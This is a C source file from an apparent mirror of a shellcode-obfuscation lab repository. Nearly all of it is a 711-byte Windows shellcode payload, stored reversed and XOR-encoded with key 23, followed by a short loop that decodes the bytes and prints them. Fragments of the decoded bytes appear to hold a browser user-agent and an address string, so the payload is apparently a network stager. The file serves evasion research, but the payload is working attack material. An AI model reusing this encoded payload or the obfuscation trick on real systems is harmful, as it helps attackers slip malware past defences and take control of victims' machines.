mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
Dobin Rutishauser
40 lines
5.1 KiB
C
40 lines
5.1 KiB
C
#include <windows.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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int main(void)
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{
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unsigned char reversed_payload [711] = {0xc2, 0xe8, 0x41, 0xb5, 0xa2, 0xe7, 0xd5, 0xd0, 0x5e, 0x4e, 0x17, 0x7d, 0x4f, 0xd4, 0x4f, 0xc5, 0x62, 0xd7, 0x92, 0xd4, 0x16, 0x5f, 0x10, 0x9c, 0x71, 0xa5, 0x63, 0xd7, 0x92, 0x37, 0xd3, 0x94, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf5, 0x9e, 0x81, 0x5, 0xad, 0x5e, 0xee, 0x9e, 0x5e, 0x17, 0x17, 0x37, 0x17, 0xd7, 0xd0, 0x5e, 0xcd, 0x9e, 0x5f, 0xe6, 0x9e, 0x5f, 0xf0, 0x9e, 0x5f, 0x44, 0x44, 0x84, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf2, 0x44, 0xb3, 0x4f, 0xad, 0x5e, 0x17, 0x17, 0x7, 0x17, 0xd7, 0xd0, 0x5e, 0x7, 0xf5, 0xd6, 0xc6, 0x9e, 0x5e, 0x4d, 0x57, 0x7d, 0x4e, 0x44, 0x17, 0x17, 0x17, 0x42, 0xff, 0xdb, 0xfc, 0x15, 0x63, 0xd8, 0xe8, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf7, 0x22, 0xe7, 0x53, 0xad, 0x5e, 0x17, 0x17, 0x4, 0x9f, 0xd6, 0xd0, 0x5f, 0x8, 0x62, 0xd7, 0x92, 0xc2, 0xe8, 0x6c, 0xf, 0x11, 0x3a, 0xd5, 0xd0, 0x5e, 0x44, 0x44, 0xde, 0x26, 0x5a, 0xde, 0x26, 0x5a, 0xe6, 0x9e, 0x5f, 0x4d, 0x44, 0x48, 0x1d, 0x7d, 0xd1, 0x9e, 0x5f, 0xc2, 0xe8, 0x2c, 0x39, 0x42, 0xfc, 0xd5, 0xd0, 0x5e, 0x44, 0x44, 0x47, 0x17, 0x17, 0x17, 0x17, 0x93, 0x3f, 0x15, 0x17, 0xaf, 0x5f, 0x44, 0xde, 0x26, 0x5a, 0x4f, 0x56, 0x4d, 0x44, 0xd6, 0x9e, 0x5f, 0x17, 0x3a, 0x62, 0x6f, 0x61, 0x66, 0x79, 0x58, 0x5d, 0x43, 0x56, 0x7e, 0x45, 0x26, 0x75, 0x41, 0x66, 0x22, 0x4f, 0x56, 0x46, 0x63, 0x75, 0x51, 0x2e, 0x2e, 0x63, 0x47, 0x53, 0x71, 0x4f, 0x7d, 0x7b, 0x26, 0x72, 0x63, 0x5a, 0x44, 0x25, 0x55, 0x76, 0x50, 0x48, 0x20, 0x2f, 0x23, 0x7c, 0x7e, 0x79, 0x7b, 0x48, 0x7d, 0x60, 0x47, 0x55, 0x56, 0x64, 0x67, 0x62, 0x48, 0x5a, 0x20, 0x58, 0x6d, 0x7a, 0x74, 0x65, 0x59, 0x45, 0x4e, 0x7e, 0x53, 0x60, 0x62, 0x38, 0x17, 0x17, 0x17, 0x5c, 0xff, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xd1, 0x88, 0x9e, 0x40, 0xad, 0x5e, 0x44, 0x14, 0x7d, 0x44, 0x44, 0xde, 0x26, 0x5a, 0x17, 0x17, 0x17, 0x47, 0xd7, 0xd0, 0x5e, 0xd6, 0x9e, 0x5f, 0x4d, 0x17, 0x23, 0x24, 0x26, 0x39, 0x27, 0x2e, 0x26, 0x39, 0x2f, 0x21, 0x26, 0x39, 0x25, 0x2e, 0x26, 0x17, 0x17, 0x17, 0x7, 0xff, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xb0, 0x6e, 0x41, 0x2d, 0xad, 0x5e, 0x44, 0x44, 0xde, 0x26, 0x5a, 0xd7, 0x26, 0x5a, 0x4d, 0x44, 0x4e, 0x17, 0x21, 0x24, 0x39, 0x20, 0x24, 0x22, 0x38, 0x7e, 0x65, 0x76, 0x71, 0x76, 0x44, 0x37, 0x27, 0x39, 0x27, 0x39, 0x27, 0x39, 0x26, 0x24, 0x26, 0x38, 0x72, 0x7a, 0x78, 0x65, 0x7f, 0x54, 0x37, 0x3e, 0x78, 0x7c, 0x74, 0x72, 0x50, 0x37, 0x72, 0x7c, 0x7e, 0x7b, 0x37, 0x3b, 0x5b, 0x5a, 0x43, 0x5f, 0x5c, 0x3f, 0x37, 0x21, 0x24, 0x39, 0x20, 0x24, 0x22, 0x38, 0x63, 0x7e, 0x5c, 0x75, 0x72, 0x40, 0x72, 0x7b, 0x67, 0x67, 0x56, 0x37, 0x3e, 0x23, 0x21, 0x6f, 0x37, 0x2c, 0x23, 0x21, 0x79, 0x7e, 0x40, 0x37, 0x2c, 0x27, 0x39, 0x27, 0x26, 0x37, 0x43, 0x59, 0x37, 0x64, 0x60, 0x78, 0x73, 0x79, 0x7e, 0x40, 0x3f, 0x37, 0x27, 0x39, 0x22, 0x38, 0x76, 0x7b, 0x7b, 0x7e, 0x6d, 0x78, 0x5a, 0x17, 0x17, 0x17, 0x67, 0xff, 0x44, 0x44, 0xc2, 0xe8, 0x10, 0x31, 0x60, 0x5b, 0xd5, 0xd0, 0x5e, 0xf6, 0x9e, 0x5f, 0x41, 0x56, 0x17, 0x63, 0x72, 0x79, 0x7e, 0x79, 0x7e, 0x60, 0xa9, 0x5e, 0x44, 0xcc, 0x26, 0x5f, 0x4a, 0xe8, 0xe8, 0xe8, 0x5c, 0xfe, 0x5, 0x9c, 0x5f, 0x4d, 0x4e, 0x56, 0x4f, 0xf7, 0xe8, 0x45, 0x56, 0x37, 0xfb, 0x94, 0x5f, 0x4d, 0x56, 0x4e, 0x56, 0x4f, 0x56, 0x4d, 0x4e, 0x49, 0xc7, 0x16, 0x5f, 0x4f, 0x56, 0x4f, 0x56, 0x9f, 0x13, 0x9c, 0x56, 0xc7, 0x16, 0x5e, 0xb, 0x57, 0x9c, 0x53, 0x5f, 0x1b, 0x9c, 0x56, 0x71, 0xc7, 0x16, 0x5e, 0x33, 0x57, 0x9c, 0x53, 0x4f, 0xcf, 0x62, 0xc6, 0x2e, 0x52, 0x1f, 0x33, 0x5b, 0x14, 0x5b, 0xe6, 0x62, 0xf7, 0x2f, 0xd6, 0x16, 0x56, 0x1a, 0xde, 0xd6, 0x56, 0xbb, 0xd7, 0x26, 0x5f, 0xc1, 0x16, 0x5f, 0xde, 0x26, 0x5a, 0x9f, 0x23, 0x9c, 0x56, 0xde, 0xe8, 0x5f, 0x41, 0xf4, 0x47, 0xf, 0x5f, 0x9c, 0xc7, 0x16, 0x5e, 0x37, 0x57, 0x9c, 0x53, 0xc7, 0x16, 0x5f, 0x70, 0x63, 0xd7, 0x92, 0x5f, 0x17, 0x17, 0x17, 0x9f, 0x97, 0x9c, 0x17, 0x17, 0x17, 0x65, 0x92, 0x18, 0x15, 0x1c, 0xf, 0x6f, 0x96, 0x71, 0xc7, 0x16, 0x5f, 0x46, 0x56, 0x2b, 0x55, 0x9c, 0x37, 0x45, 0x9c, 0x5f, 0x45, 0xfa, 0xf5, 0xd6, 0x16, 0x56, 0x1a, 0xde, 0xd6, 0x56, 0x37, 0x3b, 0x15, 0x6b, 0x76, 0x2b, 0xbb, 0xd7, 0x26, 0x5f, 0xde, 0x26, 0x5a, 0x47, 0x65, 0x9c, 0x5f, 0x5d, 0x5d, 0xa0, 0x18, 0x5f, 0x41, 0x46, 0x37, 0x45, 0x9c, 0x5f, 0xf, 0x45, 0x9c, 0x5f, 0x77, 0x45, 0x9c, 0x5f, 0x72, 0xc5, 0x26, 0x5f, 0x45, 0x47, 0x56, 0x46, 0x56, 0x17, 0x17, 0x17, 0xdb, 0xff, 0xe7, 0xf3, 0x94, 0x5f, 0xeb};
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char shellcode[sizeof(reversed_payload)] = {0};
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unsigned int len = sizeof(reversed_payload);
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int xorkey = 23;
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// reverse and de-xor our array of ints
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for (int i = 0; i < len; i++)
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{
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char decoded = reversed_payload[len - i - 1] ^ xorkey;
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shellcode[i] = decoded;
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}
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int idx = 0;
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while (idx < sizeof(reversed_payload))
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{
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if (idx == (sizeof(reversed_payload) - 1))
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{
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printf("0x%02x ", (unsigned char)shellcode[idx]);
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}
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else
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{
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printf("0x%02x, ", (unsigned char)shellcode[idx]);
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}
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idx++;
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}
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return 0;
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}
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